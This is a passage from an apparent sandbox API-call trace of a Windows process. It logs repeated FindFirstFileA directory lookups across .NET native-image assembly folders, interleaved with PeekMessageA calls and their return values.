dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.852] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Idena7b556ff#\\b4a51fd3054bd9ea6ee53e6e0f1234b8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ac45070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1ac45070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1ac45070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.855] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.863] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.863] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IdentityModel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aa7bff0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1aa7bff0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1aa7bff0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.865] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IdentityModel\\77b5e34eb52f8fd2a71fc3e6901694ed\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aa7bff0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1aaa2150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1aaa2150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.865] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.869] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.870] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IO.Cb3b124c8#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22aba130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x22aba130, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x22aba130, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.871] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IO.Cb3b124c8#\\d426977625cab74088baa19e4750f92f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22aba130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x22ae0290, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x22ae0290, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.874] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.876] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.876] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IO.Cf61e09c5#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22b9e970, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x22b9e970, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x22b9e970, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.878] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IO.Cf61e09c5#\\1e2e11106454b1c782889f822c727f9b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22b9e970, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x22b9e970, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x22b9e970, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.880] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.882] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.884] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IO.Log\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2316bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2316bf10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2316bf10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.885] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.IO.Log\\02c0257b9546a57da750414e1d8efc40\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2316bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2316bf10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2316bf10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.886] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.890] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.890] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaf08ebffb#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2343f930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2343f930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2343f930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.892] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaf08ebffb#\\307616850faf04ba44d3e6ca55bb122e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2343f930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x2343f930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x2343f930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.895] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.897] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.898] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d491580, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1c4ae40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1c4ae40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.899] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\4a1bd5a11e89160fb5f7669f6e27e129\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac7ca140, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xac7ca140, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xac7ca140, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.900] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.907] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.907] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Messaging\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b212610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1b212610, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1b212610, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.908] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Messaging\\bdc4e99d9589be776850393af935ab03\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b212610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1b212610, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1b212610, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.914] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.918] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.918] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Net\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23a7f2f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x23a7f2f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x23a7f2f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.920] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Net\\b8833f89541f12db5b2eaf57c97a9e3b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23a7f2f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x23aa5450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x23aa5450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.920] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.924] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.925] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Net.22cc68a8#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23e83810, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x23e83810, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x23e83810, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.926] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Net.22cc68a8#\\7e6fe8ce9e9901ce704a323703e46107\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23e83810, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x23e83810, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x23e83810, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.929] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.931] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.931] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Net.Http\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b6af0b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1b6af0b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1b6af0b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.932] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Net.Http\\12c78d0277e8d6ccfeb47b3d5a24ffb5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b6af0b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1b6af0b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1b6af0b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.933] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.937] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.937] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Numerics\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb999e40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb223e540, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb223e540, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.938] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Numerics\\0f03758e69687e59f707de4e6d881403\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4361980, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa4361980, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa4361980, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.940] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.943] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.944] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Printing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x651e0d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x651e0d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x651e0d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.945] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Printing\\35c2535342259ffb8d5aebca27ee025e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x651e0d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x651e0d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x651e0d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.945] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.949] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.949] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Reflc3377498#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24215910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x24215910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x24215910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.951] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Reflc3377498#\\3bcb8fdc3a953900e21a88528b65e296\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24215910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x24215910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x24215910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.954] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.957] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.957] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt19c51595#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20f554a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb22183e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb22183e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.958] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt19c51595#\\88d27fe1a0ca14d64d4e5ffa2ecb8ad2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb021bc40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb021bc40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb021bc40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.960] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.963] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.963] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d7d73c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb2511f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb2511f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.965] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacae9e20, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xacae9e20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xacae9e20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.970] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.972] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.972] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt9064068c#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a731220, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1f449c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1f449c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.973] FindFirstFileA (in: 